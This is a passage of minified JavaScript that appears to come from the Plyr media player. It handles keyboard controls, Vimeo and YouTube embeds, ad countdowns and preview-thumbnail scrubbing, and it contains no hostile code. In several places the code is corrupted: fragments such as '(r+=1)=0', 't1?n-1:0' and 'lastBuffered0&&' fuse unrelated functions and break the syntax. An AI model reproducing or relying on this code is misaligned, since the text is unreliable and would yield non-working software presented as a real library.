o=document.activeElement;if(Y(o)){var s=t.config.selectors.editable;if(o!==n.inputs.seek&&ve(o,s))return;if(32===e.which&&ve(o,'button, [role^="menuitem"]'))return}switch([32,37,38,39,40,48,49,50,51,52,53,54,56,57,67,70,73,75,76,77,79].includes(i)&&(e.preventDefault(),e.stopPropagation()),i){case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:a||(t.currentTime=t.duration/10*(i-48));break;case 32:case 75:a||Pe(t.togglePlay());break;case 38:t.increaseVolume(.1);break;case 40:t.decreaseVolume(.1);break;case 77:a||(t.muted=!t.muted);break;case 39:t.forward();break;case 37:t.rewind();break;case 70:t.fullscreen.toggle();break;case 67:a||t.toggleCaptions();break;case 76:t.loop=!t.loop}27===i&&!t.fullscreen.usingNative&&t.fullscreen.active&&t.fullscreen.toggle(),this.lastKey=i}else this.lastKey=null}},{key:"toggleMenu",value:function(e){Ze.toggleMenu.call(this.player,e)}},{key:"firstTouch",value:function(){var e=this.player,t=e.elements;e.touch=!0,me(t.container,e.config.classNames.isTouch,!0)}},{key:"setTabFocus",value:function(e){var t=this.player,n=t.elements;if(clearTimeout(this.focusTimer),"keydown"!==e.type||9===e.which){"keydown"===e.type&&(this.lastKeyDown=e.timeStamp);var i,r=e.timeStamp-this.lastKeyDown<=20;("focus"!==e.type||r)&&(i=t.config.classNames.tabFocus,me(ye.call(t,".".concat(i)),i,!1),"focusout"!==e.type&&(this.focusTimer=setTimeout((function(){var e=document.activeElement;n.container.contains(e)&&me(document.activeElement,t.config.classNames.tabFocus,!0)}),10)))}}},{key:"global",value:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],t=this.player;t.config.keyboard.global&&Te.call(t,window,"keydown keyup",this.handleKey,e,!1),Te.call(t,document.body,"click",this.toggleMenu,e),Oe.call(t,document.body,"touchstart",this.firstTouch),Te.call(t,document.body,"keydown focus blur focusout",this.setTabFocus,e,!1,!0)}},{key:"container",value:function(){var e=this.player,t=e.config,n=e.elements,i=e.timers;!t.keyboard.global&&t.keyboard.focused&&Ce.call(e,n.container,"keydown keyup",this.handleKey,!1),Ce.call(e,n.container,"mousemove mouseleave touchstart touchmove enterfullscreen exitfullscreen",(function(t){var r=n.controls;r&&"enterfullscreen"===t.type&&(r.pressed=!1,r.hover=!1);var a=0;["touchstart","touchmove","mousemove"].includes(t.type)&&(ct.toggleControls.call(e,!0),a=e.touch?3e3:2e3),clearTimeout(i.controls),i.controls=setTimeout((function(){return ct.toggleControls.call(e,!1)}),a)}));var r=function(t){if(!t)return Ne.call(e);var i=n.container.getBoundingClientRect(),r=i.width,a=i.height;return Ne.call(e,"".concat(r,":").concat(a))},a=function(){clearTimeout(i.resized),i.resized=setTimeout(r,50)};Ce.call(e,n.container,"enterfullscreen exitfullscreen",(function(t){var i=e.fullscreen,o=i.target,l=i.usingNative;if(o===n.container&&(e.isEmbed||!ee(e.config.ratio))){var u="enterfullscreen"===t.type,c=r(u);c.padding,function(t,n,i){if(e.isVimeo&&!e.config.vimeo.premium){var r=e.elements.wrapper.firstChild,a=s(t,2)[1],o=s(De.call(e),2),l=o[0],u=o[1];r.style.maxWidth=i?"".concat(a/u*l,"px"):null,r.style.margin=i?"0 auto":null}}(c.ratio,0,u),u&&setTimeout((function(){return ne(n.container)}),100),l||(u?Ce.call(e,window,"resize",a):xe.call(e,window,"resize",a))}}))}},{key:"media",value:function(){var e=this,t=this.player,n=t.elements;if(Ce.call(t,t.media,"timeupdate seeking seeked",(function(e){return Ze.timeUpdate.call(t,e)})),Ce.call(t,t.media,"durationchange loadeddata loadedmetadata",(function(e){return Ze.durationUpdate.call(t,e)})),Ce.call(t,t.media,"ended",(function(){t.isHTML5&&t.isVideo&&t.config.resetOnEnd&&(t.restart(),t.pause())})),Ce.call(t,t.media,"progress playing seeking seeked",(function(e){return Ze.updateProgress.call(t,e)})),Ce.call(t,t.media,"volumechange",(function(e){return Ze.updateVolume.call(t,e)})),Ce.call(t,t.media,"playing play pause ended emptied timeupdate",(function(e){return ct.checkPlaying.call(t,e)})),Ce.call(t,t.media,"waiting canplay seeked playing",(function(e){return ct.checkLoading.call(t,e)})),t.supported.ui&&t.config.clickToPlay&&!t.isAudio){var i=be.call(t,".".concat(t.config.classNames.video));if(!Y(i))return;Ce.call(t,n.container,"click",(function(r){([n.container,i].includes(r.target)||i.contains(r.target))&&(t.touch&&t.config.hideControls||(t.ended?(e.proxy(r,t.restart,"restart"),e.proxy(r,(function(){Pe(t.play())}),"play")):e.proxy(r,(function(){Pe(t.togglePlay())}),"play")))}))}t.supported.ui&&t.config.disableContextMenu&&Ce.call(t,n.wrapper,"contextmenu",(function(e){e.preventDefault()}),!1),Ce.call(t,t.media,"volumechange",(function(){t.storage.set({volume:t.volume,muted:t.muted})})),Ce.call(t,t.media,"ratechange",(function(){Ze.updateSetting.call(t,"speed"),t.storage.set({speed:t.speed})})),Ce.call(t,t.media,"qualitychange",(function(e){Ze.updateSetting.call(t,"quality",null,e.detail.quality)})),Ce.call(t,t.media,"ready qualitychange",(function(){Ze.setDownloadUrl.call(t)}));var r=t.config.events.concat(["keyup","keydown"]).join(" ");Ce.call(t,t.media,r,(function(e){var i=e.detail,r=void 0===i?{}:i;"error"===e.type&&(r=t.media.error),Ae.call(t,n.container,e.type,!0,r)}))}},{key:"proxy",value:function(e,t,n){var i=this.player,r=i.config.listeners[n],a=!0;q(r)&&(a=r.call(i,e)),!1!==a&&q(t)&&t.call(i,e)}},{key:"bind",value:function(e,t,n,i){var r=this,a=!(arguments.length>4&&void 0!==arguments[4])||arguments[4],o=this.player,s=o.config.listeners[i],l=q(s);Ce.call(o,e,t,(function(e){return r.proxy(e,n,i)}),a&&!l)}},{key:"controls",value:function(){var e=this,t=this.player,n=t.elements,i=ie.isIE?"change":"input";if(n.buttons.play&&Array.from(n.buttons.play).forEach((function(n){e.bind(n,"click",(function(){Pe(t.togglePlay())}),"play")})),this.bind(n.buttons.restart,"click",t.restart,"restart"),this.bind(n.buttons.rewind,"click",(function(){t.lastSeekTime=Date.now(),t.rewind()}),"rewind"),this.bind(n.buttons.fastForward,"click",(function(){t.lastSeekTime=Date.now(),t.forward()}),"fastForward"),this.bind(n.buttons.mute,"click",(function(){t.muted=!t.muted}),"mute"),this.bind(n.buttons.captions,"click",(function(){return t.toggleCaptions()})),this.bind(n.buttons.download,"click",(function(){Ae.call(t,t.media,"download")}),"download"),this.bind(n.buttons.fullscreen,"click",(function(){t.fullscreen.toggle()}),"fullscreen"),this.bind(n.buttons.pip,"click",(function(){t.pip="toggle"}),"pip"),this.bind(n.buttons.airplay,"click",t.airplay,"airplay"),this.bind(n.buttons.settings,"click",(function(e){e.stopPropagation(),e.preventDefault(),Ze.toggleMenu.call(t,e)}),null,!1),this.bind(n.buttons.settings,"keyup",(function(e){var n=e.which;[13,32].includes(n)&&(13!==n?(e.preventDefault(),e.stopPropagation(),Ze.toggleMenu.call(t,e)):Ze.focusFirstMenuItem.call(t,null,!0))}),null,!1),this.bind(n.settings.menu,"keydown",(function(e){27===e.which&&Ze.toggleMenu.call(t,e)})),this.bind(n.inputs.seek,"mousedown mousemove",(function(e){var t=n.progress.getBoundingClientRect(),i=100/t.width*(e.pageX-t.left);e.currentTarget.setAttribute("seek-value",i)})),this.bind(n.inputs.seek,"mousedown mouseup keydown keyup touchstart touchend",(function(e){var n=e.currentTarget,i=e.keyCode?e.keyCode:e.which,r="play-on-seeked";if(!X(e)||39===i||37===i){t.lastSeekTime=Date.now();var a=n.hasAttribute(r),o=["mouseup","touchend","keyup"].includes(e.type);a&&o?(n.removeAttribute(r),Pe(t.play())):!o&&t.playing&&(n.setAttribute(r,""),t.pause())}})),ie.isIos){var r=ye.call(t,'input[type="range"]');Array.from(r).forEach((function(t){return e.bind(t,i,(function(e){return ne(e.target)}))}))}this.bind(n.inputs.seek,i,(function(e){var n=e.currentTarget,i=n.getAttribute("seek-value");ee(i)&&(i=n.value),n.removeAttribute("seek-value"),t.currentTime=i/n.max*t.duration}),"seek"),this.bind(n.progress,"mouseenter mouseleave mousemove",(function(e){return Ze.updateSeekTooltip.call(t,e)})),this.bind(n.progress,"mousemove touchmove",(function(e){var n=t.previewThumbnails;n&&n.loaded&&n.startMove(e)})),this.bind(n.progress,"mouseleave touchend click",(function(){var e=t.previewThumbnails;e&&e.loaded&&e.endMove(!1,!0)})),this.bind(n.progress,"mousedown touchstart",(function(e){var n=t.previewThumbnails;n&&n.loaded&&n.startScrubbing(e)})),this.bind(n.progress,"mouseup touchend",(function(e){var n=t.previewThumbnails;n&&n.loaded&&n.endScrubbing(e)})),ie.isWebkit&&Array.from(ye.call(t,'input[type="range"]')).forEach((function(n){e.bind(n,"input",(function(e){return Ze.updateRangeFill.call(t,e.target)}))})),t.config.toggleInvert&&!Y(n.display.duration)&&this.bind(n.display.currentTime,"click",(function(){0!==t.currentTime&&(t.config.invertTime=!t.config.invertTime,Ze.timeUpdate.call(t))})),this.bind(n.inputs.volume,i,(function(e){t.volume=e.target.value}),"volume"),this.bind(n.controls,"mouseenter mouseleave",(function(e){n.controls.hover=!t.touch&&"mouseenter"===e.type})),n.fullscreen&&Array.from(n.fullscreen.children).filter((function(e){return!e.contains(n.container)})).forEach((function(i){e.bind(i,"mouseenter mouseleave",(function(e){n.controls.hover=!t.touch&&"mouseenter"===e.type}))})),this.bind(n.controls,"mousedown mouseup touchstart touchend touchcancel",(function(e){n.controls.pressed=["mousedown","touchstart"].includes(e.type)})),this.bind(n.controls,"focusin",(function(){var i=t.config,r=t.timers;me(n.controls,i.classNames.noTransition,!0),ct.toggleControls.call(t,!0),setTimeout((function(){me(n.controls,i.classNames.noTransition,!1)}),0);var a=e.touch?3e3:4e3;clearTimeout(r.controls),r.controls=setTimeout((function(){return ct.toggleControls.call(t,!1)}),a)})),this.bind(n.inputs.volume,"wheel",(function(e){var n=e.webkitDirectionInvertedFromDevice,i=s([e.deltaX,-e.deltaY].map((function(e){return n?-e:e})),2),r=i[0],a=i[1],o=Math.sign(Math.abs(r)>Math.abs(a)?r:a);t.increaseVolume(o/50);var l=t.media.volume;(1===o&&l<1||-1===o&&l>0)&&e.preventDefault()}),"volume",!1)}}]),t}();"undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof t||"undefined"!=typeof self&&self;var ft=function(e,t){return function(e,t){e.exports=function(){var e=function(){},t={},n={},i={};function r(e,t){if(e){var r=i[e];if(n[e]=t,r)for(;r.length;)r[0](e,t),r.splice(0,1)}}function a(t,n){t.call&&(t={success:t}),n.length?(t.error||e)(n):(t.success||e)(t)}function o(t,n,i,r){var a,s,l=document,u=i.async,c=(i.numRetries||0)+1,d=i.before||e,f=t.replace(/[\?|#].*$/,""),h=t.replace(/^(css|img)!/,"");r=r||0,/(^css!|\.css$)/.test(f)?((s=l.createElement("link")).rel="stylesheet",s.href=h,(a="hideFocus"in s)&&s.relList&&(a=0,s.rel="preload",s.as="style")):/(^img!|\.(png|gif|jpg|svg|webp)$)/.test(f)?(s=l.createElement("img")).src=h:((s=l.createElement("script")).src=t,s.async=void 0===u||u),s.onload=s.onerror=s.onbeforeload=function(e){var l=e.type[0];if(a)try{s.sheet.cssText.length||(l="e")}catch(e){18!=e.code&&(l="e")}if("e"==l){if((r+=1)=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(i=0;i=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}(n,["premium","referrerPolicy"]);i&&Object.assign(a,{controls:!1,sidedock:!1});var l=tt(o({loop:t.config.loop.active,autoplay:t.autoplay,muted:t.muted,gesture:"media",playsinline:!this.config.fullscreen.iosNative},a)),u=t.media.getAttribute("src");ee(u)&&(u=t.media.getAttribute(t.config.attributes.embed.id));var c,d=ee(c=u)?null:H(Number(c))?c:c.match(/^.*(vimeo.com\/|video\/)(\d+).*/)?RegExp.$2:c,f=le("iframe"),h=Ue(t.config.urls.vimeo.iframe,d,l);if(f.setAttribute("src",h),f.setAttribute("allowfullscreen",""),f.setAttribute("allow","autoplay,fullscreen,picture-in-picture"),ee(r)||f.setAttribute("referrerPolicy",r),i||!n.customControls)f.setAttribute("data-poster",t.poster),t.media=fe(f,t.media);else{var p=le("div",{class:t.config.classNames.embedContainer,"data-poster":t.poster});p.appendChild(f),t.media=fe(p,t.media)}n.customControls||Ke(Ue(t.config.urls.vimeo.api,h)).then((function(e){!ee(e)&&e.thumbnail_url&&ct.setPoster.call(t,e.thumbnail_url).catch((function(){}))})),t.embed=new window.Vimeo.Player(f,{autopause:t.config.autopause,muted:t.muted}),t.media.paused=!0,t.media.currentTime=0,t.supported.ui&&t.embed.disableTextTrack(),t.media.play=function(){return pt.call(t,!0),t.embed.play()},t.media.pause=function(){return pt.call(t,!1),t.embed.pause()},t.media.stop=function(){t.pause(),t.currentTime=0};var m=t.media.currentTime;Object.defineProperty(t.media,"currentTime",{get:function(){return m},set:function(e){var n=t.embed,i=t.media,r=t.paused,a=t.volume,o=r&&!n.hasPlayed;i.seeking=!0,Ae.call(t,i,"seeking"),Promise.resolve(o&&n.setVolume(0)).then((function(){return n.setCurrentTime(e)})).then((function(){return o&&n.pause()})).then((function(){return o&&n.setVolume(a)})).catch((function(){}))}});var g=t.config.speed.selected;Object.defineProperty(t.media,"playbackRate",{get:function(){return g},set:function(e){t.embed.setPlaybackRate(e).then((function(){g=e,Ae.call(t,t.media,"ratechange")})).catch((function(){t.options.speed=[1]}))}});var v=t.config.volume;Object.defineProperty(t.media,"volume",{get:function(){return v},set:function(e){t.embed.setVolume(e).then((function(){v=e,Ae.call(t,t.media,"volumechange")}))}});var y=t.config.muted;Object.defineProperty(t.media,"muted",{get:function(){return y},set:function(e){var n=!!G(e)&&e;t.embed.setVolume(n?0:t.config.volume).then((function(){y=n,Ae.call(t,t.media,"volumechange")}))}});var b,_=t.config.loop;Object.defineProperty(t.media,"loop",{get:function(){return _},set:function(e){var n=G(e)?e:t.config.loop.active;t.embed.setLoop(n).then((function(){_=n}))}}),t.embed.getVideoUrl().then((function(e){b=e,Ze.setDownloadUrl.call(t)})).catch((function(t){e.debug.warn(t)})),Object.defineProperty(t.media,"currentSrc",{get:function(){return b}}),Object.defineProperty(t.media,"ended",{get:function(){return t.currentTime===t.duration}}),Promise.all([t.embed.getVideoWidth(),t.embed.getVideoHeight()]).then((function(n){var i=s(n,2),r=i[0],a=i[1];t.embed.ratio=[r,a],Ne.call(e)})),t.embed.setAutopause(t.config.autopause).then((function(e){t.config.autopause=e})),t.embed.getVideoTitle().then((function(n){t.config.title=n,ct.setTitle.call(e)})),t.embed.getCurrentTime().then((function(e){m=e,Ae.call(t,t.media,"timeupdate")})),t.embed.getDuration().then((function(e){t.media.duration=e,Ae.call(t,t.media,"durationchange")})),t.embed.getTextTracks().then((function(e){t.media.textTracks=e,nt.setup.call(t)})),t.embed.on("cuechange",(function(e){var n=e.cues,i=(void 0===n?[]:n).map((function(e){return function(e){var t=document.createDocumentFragment(),n=document.createElement("div");return t.appendChild(n),n.innerHTML=e,t.firstChild.innerText}(e.text)}));nt.updateCues.call(t,i)})),t.embed.on("loaded",(function(){t.embed.getPaused().then((function(e){pt.call(t,!e),e||Ae.call(t,t.media,"playing")})),Y(t.embed.element)&&t.supported.ui&&t.embed.element.setAttribute("tabindex",-1)})),t.embed.on("bufferstart",(function(){Ae.call(t,t.media,"waiting")})),t.embed.on("bufferend",(function(){Ae.call(t,t.media,"playing")})),t.embed.on("play",(function(){pt.call(t,!0),Ae.call(t,t.media,"playing")})),t.embed.on("pause",(function(){pt.call(t,!1)})),t.embed.on("timeupdate",(function(e){t.media.seeking=!1,m=e.seconds,Ae.call(t,t.media,"timeupdate")})),t.embed.on("progress",(function(e){t.media.buffered=e.percent,Ae.call(t,t.media,"progress"),1===parseInt(e.percent,10)&&Ae.call(t,t.media,"canplaythrough"),t.embed.getDuration().then((function(e){e!==t.media.duration&&(t.media.duration=e,Ae.call(t,t.media,"durationchange"))}))})),t.embed.on("seeked",(function(){t.media.seeking=!1,Ae.call(t,t.media,"seeked")})),t.embed.on("ended",(function(){t.media.paused=!0,Ae.call(t,t.media,"ended")})),t.embed.on("error",(function(e){t.media.error=e,Ae.call(t,t.media,"error")})),n.customControls&&setTimeout((function(){return ct.build.call(t)}),0)}};function gt(e){e&&!this.embed.hasPlayed&&(this.embed.hasPlayed=!0),this.media.paused===e&&(this.media.paused=!e,Ae.call(this,this.media,e?"play":"pause"))}function vt(e){return e.noCookie?"https://www.youtube-nocookie.com":"http:"===window.location.protocol?"http://www.youtube.com":void 0}var yt,bt={setup:function(){var e=this;if(me(this.elements.wrapper,this.config.classNames.embed,!0),V(window.YT)&&q(window.YT.Player))bt.ready.call(this);else{var t=window.onYouTubeIframeAPIReady;window.onYouTubeIframeAPIReady=function(){q(t)&&t(),bt.ready.call(e)},ht(this.config.urls.youtube.sdk).catch((function(t){e.debug.warn("YouTube API failed to load",t)}))}},getTitle:function(e){var t=this;Ke(Ue(this.config.urls.youtube.api,e)).then((function(e){if(V(e)){var n=e.title,i=e.height,r=e.width;t.config.title=n,ct.setTitle.call(t),t.embed.ratio=[r,i]}Ne.call(t)})).catch((function(){Ne.call(t)}))},ready:function(){var e=this,t=e.config.youtube,n=e.media&&e.media.getAttribute("id");if(ee(n)||!n.startsWith("youtube-")){var i=e.media.getAttribute("src");ee(i)&&(i=e.media.getAttribute(this.config.attributes.embed.id));var r,a,o=ee(r=i)?null:r.match(/^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|&v=)([^#&?]*).*/)?RegExp.$2:r,s=le("div",{id:(a=e.provider,"".concat(a,"-").concat(Math.floor(1e4*Math.random()))),"data-poster":t.customControls?e.poster:void 0});if(e.media=fe(s,e.media),t.customControls){var l=function(e){return"https://i.ytimg.com/vi/".concat(o,"/").concat(e,"default.jpg")};ut(l("maxres"),121).catch((function(){return ut(l("sd"),121)})).catch((function(){return ut(l("hq"))})).then((function(t){return ct.setPoster.call(e,t.src)})).then((function(t){t.includes("maxres")||(e.elements.poster.style.backgroundSize="cover")})).catch((function(){}))}e.embed=new window.YT.Player(e.media,{videoId:o,host:vt(t),playerVars:ae({},{autoplay:e.config.autoplay?1:0,hl:e.config.hl,controls:e.supported.ui&&t.customControls?0:1,disablekb:1,playsinline:e.config.fullscreen.iosNative?0:1,cc_load_policy:e.captions.active?1:0,cc_lang_pref:e.config.captions.language,widget_referrer:window?window.location.href:null},t),events:{onError:function(t){if(!e.media.error){var n=t.data,i={2:"The request contains an invalid parameter value. For example, this error occurs if you specify a video ID that does not have 11 characters, or if the video ID contains invalid characters, such as exclamation points or asterisks.",5:"The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.",100:"The video requested was not found. This error occurs when a video has been removed (for any reason) or has been marked as private.",101:"The owner of the requested video does not allow it to be played in embedded players.",150:"The owner of the requested video does not allow it to be played in embedded players."}[n]||"An unknown error occured";e.media.error={code:n,message:i},Ae.call(e,e.media,"error")}},onPlaybackRateChange:function(t){var n=t.target;e.media.playbackRate=n.getPlaybackRate(),Ae.call(e,e.media,"ratechange")},onReady:function(n){if(!q(e.media.play)){var i=n.target;bt.getTitle.call(e,o),e.media.play=function(){gt.call(e,!0),i.playVideo()},e.media.pause=function(){gt.call(e,!1),i.pauseVideo()},e.media.stop=function(){i.stopVideo()},e.media.duration=i.getDuration(),e.media.paused=!0,e.media.currentTime=0,Object.defineProperty(e.media,"currentTime",{get:function(){return Number(i.getCurrentTime())},set:function(t){e.paused&&!e.embed.hasPlayed&&e.embed.mute(),e.media.seeking=!0,Ae.call(e,e.media,"seeking"),i.seekTo(t)}}),Object.defineProperty(e.media,"playbackRate",{get:function(){return i.getPlaybackRate()},set:function(e){i.setPlaybackRate(e)}});var r=e.config.volume;Object.defineProperty(e.media,"volume",{get:function(){return r},set:function(t){r=t,i.setVolume(100*r),Ae.call(e,e.media,"volumechange")}});var a=e.config.muted;Object.defineProperty(e.media,"muted",{get:function(){return a},set:function(t){var n=G(t)?t:a;a=n,i[n?"mute":"unMute"](),i.setVolume(100*r),Ae.call(e,e.media,"volumechange")}}),Object.defineProperty(e.media,"currentSrc",{get:function(){return i.getVideoUrl()}}),Object.defineProperty(e.media,"ended",{get:function(){return e.currentTime===e.duration}});var s=i.getAvailablePlaybackRates();e.options.speed=s.filter((function(t){return e.config.speed.options.includes(t)})),e.supported.ui&&t.customControls&&e.media.setAttribute("tabindex",-1),Ae.call(e,e.media,"timeupdate"),Ae.call(e,e.media,"durationchange"),clearInterval(e.timers.buffering),e.timers.buffering=setInterval((function(){e.media.buffered=i.getVideoLoadedFraction(),(null===e.media.lastBuffered||e.media.lastBuffered0&&void 0!==arguments[0]&&arguments[0];if(!t)return clearInterval(this.countdownTimer),void this.elements.container.removeAttribute("data-badge-text");var n=function(){var t=Je(Math.max(e.manager.getRemainingTime(),0)),n="".concat(Ge("advertisement",e.player.config)," - ").concat(t);e.elements.container.setAttribute("data-badge-text",n)};this.countdownTimer=setInterval(n,100)}},{key:"onAdsManagerLoaded",value:function(e){var t=this;if(this.enabled){var n=new google.ima.AdsRenderingSettings;n.restoreCustomPlaybackStateOnAdBreakComplete=!0,n.enablePreloading=!0,this.manager=e.getAdsManager(this.player,n),this.cuePoints=this.manager.getCuePoints(),this.manager.addEventListener(google.ima.AdErrorEvent.Type.AD_ERROR,(function(e){return t.onAdError(e)})),Object.keys(google.ima.AdEvent.Type).forEach((function(e){t.manager.addEventListener(google.ima.AdEvent.Type[e],(function(e){return t.onAdEvent(e)}))})),this.trigger("loaded")}}},{key:"addCuePoints",value:function(){var e=this;ee(this.cuePoints)||this.cuePoints.forEach((function(t){if(0!==t&&-1!==t&&t1?n-1:0),r=1;rt.width/t.height?(n.width=t.width,n.height=1/e*t.width):(n.height=t.height,n.width=e*t.height),n},Et=function(){function t(n){e(this,t),this.player=n,this.thumbnails=[],this.loaded=!1,this.lastMouseMoveTime=Date.now(),this.mouseDown=!1,this.loadedImages=[],this.elements={thumb:{},scrubbing:{}},this.load()}return i(t,[{key:"load",value:function(){var e=this;this.player.elements.display.seekTooltip&&(this.player.elements.display.seekTooltip.hidden=this.enabled),this.enabled&&this.getThumbnails().then((function(){e.enabled&&(e.render(),e.determineContainerAutoSizing(),e.loaded=!0)}))}},{key:"getThumbnails",value:function(){var e=this;return new Promise((function(t){var n=e.player.config.previewThumbnails.src;if(ee(n))throw new Error("Missing previewThumbnails.src config attribute");var i=function(){e.thumbnails.sort((function(e,t){return e.height-t.height})),e.player.debug.log("Preview thumbnails",e.thumbnails),t()};if(q(n))n((function(t){e.thumbnails=t,i()}));else{var r=(W(n)?[n]:n).map((function(t){return e.getThumbnail(t)}));Promise.all(r).then(i)}}))}},{key:"getThumbnail",value:function(e){var t=this;return new Promise((function(n){Ke(e).then((function(i){var r,a,o={frames:(r=i,a=[],r.split(/\r\n\r\n|\n\n|\r\r/).forEach((function(e){var t={};e.split(/\r\n|\n|\r/).forEach((function(e){if(H(t.startTime)){if(!ee(e.trim())&&ee(t.text)){var n=e.trim().split("#xywh="),i=s(n,1);if(t.text=i[0],n[1]){var r=s(n[1].split(","),4);t.x=r[0],t.y=r[1],t.w=r[2],t.h=r[3]}}}else{var a=e.match(/([0-9]{2})?:?([0-9]{2}):([0-9]{2}).([0-9]{2,3})( ?--> ?)([0-9]{2})?:?([0-9]{2}):([0-9]{2}).([0-9]{2,3})/);a&&(t.startTime=60*Number(a[1]||0)*60+60*Number(a[2])+Number(a[3])+Number("0.".concat(a[4])),t.endTime=60*Number(a[6]||0)*60+60*Number(a[7])+Number(a[8])+Number("0.".concat(a[9])))}})),t.text&&a.push(t)})),a),height:null,urlPrefix:""};o.frames[0].text.startsWith("/")||o.frames[0].text.startsWith("http://")||o.frames[0].text.startsWith("https://")||(o.urlPrefix=e.substring(0,e.lastIndexOf("/")+1));var l=new Image;l.onload=function(){o.height=l.naturalHeight,o.width=l.naturalWidth,t.thumbnails.push(o),n()},l.src=o.urlPrefix+o.frames[0].text}))}))}},{key:"startMove",value:function(e){if(this.loaded&&Q(e)&&["touchmove","mousemove"].includes(e.type)&&this.player.media.duration){if("touchmove"===e.type)this.seekTime=this.player.media.duration*(this.player.elements.inputs.seek.value/100);else{var t=this.player.elements.progress.getBoundingClientRect(),n=100/t.width*(e.pageX-t.left);this.seekTime=this.player.media.duration*(n/100),this.seekTime<0&&(this.seekTime=0),this.seekTime>this.player.media.duration-1&&(this.seekTime=this.player.media.duration-1),this.mousePosX=e.pageX,this.elements.thumb.time.innerText=Je(this.seekTime)}this.showImageAtCurrentTime()}}},{key:"endMove",value:function(){this.toggleThumbContainer(!1,!0)}},{key:"startScrubbing",value:function(e){(z(e.button)||!1===e.button||0===e.button)&&(this.mouseDown=!0,this.player.media.duration&&(this.toggleScrubbingContainer(!0),this.toggleThumbContainer(!1,!0),this.showImageAtCurrentTime()))}},{key:"endScrubbing",value:function(){var e=this;this.mouseDown=!1,Math.ceil(this.lastTime)===Math.ceil(this.player.media.currentTime)?this.toggleScrubbingContainer(!1):Oe.call(this.player,this.player.media,"timeupdate",(function(){e.mouseDown||e.toggleScrubbingContainer(!1)}))}},{key:"listeners",value:function(){var e=this;this.player.on("play",(function(){e.toggleThumbContainer(!1,!0)})),this.player.on("seeked",(function(){e.toggleThumbContainer(!1)})),this.player.on("timeupdate",(function(){e.lastTime=e.player.media.currentTime}))}},{key:"render",value:function(){this.elements.thumb.container=le("div",{class:this.player.config.classNames.previewThumbnails.thumbContainer}),this.elements.thumb.imageContainer=le("div",{class:this.player.config.classNames.previewThumbnails.imageContainer}),this.elements.thumb.container.appendChild(this.elements.thumb.imageContainer);var e=le("div",{class:this.player.config.classNames.previewThumbnails.timeContainer});this.elements.thumb.time=le("span",{},"00:00"),e.appendChild(this.elements.thumb.time),this.elements.thumb.container.appendChild(e),Y(this.player.elements.progress)&&this.player.elements.progress.appendChild(this.elements.thumb.container),this.elements.scrubbing.container=le("div",{class:this.player.config.classNames.previewThumbnails.scrubbingContainer}),this.player.elements.wrapper.appendChild(this.elements.scrubbing.container)}},{key:"destroy",value:function(){this.elements.thumb.container&&this.elements.thumb.container.remove(),this.elements.scrubbing.container&&this.elements.scrubbing.container.remove()}},{key:"showImageAtCurrentTime",value:function(){var e=this;this.mouseDown?this.setScrubbingContainerSize():this.setThumbContainerSizeAndPos();var t=this.thumbnails[0].frames.findIndex((function(t){return e.seekTime>=t.startTime&&e.seekTime<=t.endTime})),n=t>=0,i=0;this.mouseDown||this.toggleThumbContainer(n),n&&(this.thumbnails.forEach((function(n,r){e.loadedImages.includes(n.frames[t].text)&&(i=r)})),t!==this.showingThumb&&(this.showingThumb=t,this.loadImage(i)))}},{key:"loadImage",value:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,n=this.showingThumb,i=this.thumbnails[t],r=i.urlPrefix,a=i.frames[n],o=i.frames[n].text,s=r+o;if(this.currentImageElement&&this.currentImageElement.dataset.filename===o)this.showImage(this.currentImageElement,a,t,n,o,!1),this.currentImageElement.dataset.index=n,this.removeOldImages(this.currentImageElement);else{this.loadingImage&&this.usingSprites&&(this.loadingImage.onload=null);var l=new Image;l.src=s,l.dataset.index=n,l.dataset.filename=o,this.showingThumbFilename=o,this.player.debug.log("Loading image: ".concat(s)),l.onload=function(){return e.showImage(l,a,t,n,o,!0)},this.loadingImage=l,this.removeOldImages(l)}}},{key:"showImage",value:function(e,t,n,i,r){var a=!(arguments.length>5&&void 0!==arguments[5])||arguments[5];this.player.debug.log("Showing thumb: ".concat(r,". num: ").concat(i,". qual: ").concat(n,". newimg: ").concat(a)),this.setImageSizeAndOffset(e,t),a&&(this.currentImageContainer.appendChild(e),this.currentImageElement=e,this.loadedImages.includes(r)||this.loadedImages.push(r)),this.preloadNearby(i,!0).then(this.preloadNearby(i,!1)).then(this.getHigherQuality(n,e,t,r))}},{key:"removeOldImages",value:function(e){var t=this;Array.from(this.currentImageContainer.children).forEach((function(n){if("img"===n.tagName.toLowerCase()){var i=t.usingSprites?500:1e3;if(n.dataset.index!==e.dataset.index&&!n.dataset.deleting){n.dataset.deleting=!0;var r=t.currentImageContainer;setTimeout((function(){r.removeChild(n),t.player.debug.log("Removing thumb: ".concat(n.dataset.filename))}),i)}}}))}},{key:"preloadNearby",value:function(e){var t=this,n=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return new Promise((function(i){setTimeout((function(){var r=t.thumbnails[0].frames[e].text;if(t.showingThumbFilename===r){var a;a=n?t.thumbnails[0].frames.slice(e):t.thumbnails[0].frames.slice(0,e).reverse();var o=!1;a.forEach((function(e){var n=e.text;if(n!==r&&!t.loadedImages.includes(n)){o=!0,t.player.debug.log("Preloading thumb filename: ".concat(n));var a=t.thumbnails[0].urlPrefix+n,s=new Image;s.src=a,s.onload=function(){t.player.debug.log("Preloaded thumb filename: ".concat(n)),t.loadedImages.includes(n)||t.loadedImages.push(n),i()}}})),o||i()}}),300)}))}},{key:"getHigherQuality",value:function(e,t,n,i){var r=this;if(e0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=this.player.config.classNames.previewThumbnails.thumbContainerShown;this.elements.thumb.container.classList.toggle(n,e),!e&&t&&(this.showingThumb=null,this.showingThumbFilename=null)}},{key:"toggleScrubbingContainer",value:function(){var e=arguments.length>0&&void 